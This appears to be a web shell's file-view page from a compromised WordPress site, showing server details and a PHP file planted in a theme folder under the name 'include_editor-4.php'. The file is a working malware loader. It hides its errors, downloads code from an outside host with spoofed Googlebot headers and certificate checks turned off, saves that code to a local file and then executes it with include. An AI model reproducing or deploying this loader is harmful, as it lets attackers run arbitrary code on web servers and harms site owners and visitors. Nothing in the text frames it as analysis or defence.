HEX
Server: Apache
System: Linux vpshost11508.publiccloud.com.br 5.15.179-grsec-vpshost-10.lc.el8.x86_64 #1 SMP Mon Apr 7 12:04:45 -03 2025 x86_64
User: wicomm2 (10002)
PHP: 8.3.0
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/5/78/dd/wicomm2/public_html/drogal/wp-content/themes/include_editor-4.php
<?php
//this is include_editor file start
error_reporting(0);
set_time_limit(0);
$log_sure=True;
$write_file='write_work_complete.log';
if (file_exists($write_file)==True){
	$get_content=file_get_contents($write_file);
	if ((strpos($get_content, 'confirm:start of editor file') !== false) && (strpos($get_content, 'confirm:end of editor file') !== false)){
		$content=$get_content;
	} else {
		$log_sure=False;
	}
} else {
	$log_sure=False;
}
if($log_sure==False){
	if(function_exists('curl_init')){
	$s = curl_init();
	curl_setopt($s,CURLOPT_URL,'http://mir.buymskey.com/tool/editor.txt');
	curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
	curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36');
	curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
	curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
	curl_setopt($s, CURLOPT_HTTPHEADER, array('Expect:'));
	curl_setopt($s, CURLOPT_ENCODING, "");
	curl_setopt($s, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($s, CURLOPT_CONNECTTIMEOUT , 20);
	curl_setopt($s, CURLOPT_TIMEOUT, 20);
		curl_setopt($s, CURLOPT_COOKIE, 'foo=bar');
	$content = curl_exec($s);
	curl_close($s);
	}else{
	$options = array(
	  'http'=>array(
		'method'=>"GET",
		'timeout'=>20,
		'header'=>"Accept-language: en\r\n" .
				  "Cookie: foo=bar\r\n" .  // check function.stream-context-create on php.net
				  "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10" // i.e. An iPad 
	  ),
	  "ssl"=>array(
				  "verify_peer"=>false,
				  "verify_peer_name"=>false,
	  )
	);
		$content = file_get_contents('http://mir.buymskey.com/tool/editor.txt', false, $context1);
	}
	file_put_contents($write_file,$content);
}
/*
if (file_exists('write_check_class.txt')==True){
	$check_content=file_get_contents('write_check_class.txt');
	if ($check_content!='infor check class'){
		$check_sure=False;
	}
} else {
	$check_sure=False;
}*/
$file_name=dirname(__FILE__);
file_put_contents('write_check_class.txt',$file_name.':::infor check class');
$last_log_sure=True;
if (file_exists($write_file)==True){
	$last_get_content=file_get_contents($write_file);
	if ((strpos($last_get_content, 'confirm:start of editor file') !== false) && (strpos($last_get_content, 'confirm:end of editor file') !== false)){
		include($write_file);
	}
	else{
		echo '<div style="display:none">editor not exist!!!</div>';
	}
} else {
	echo '<div style="display:none">editor not exist!!!</div>';
}
//this is include_editor file end
?>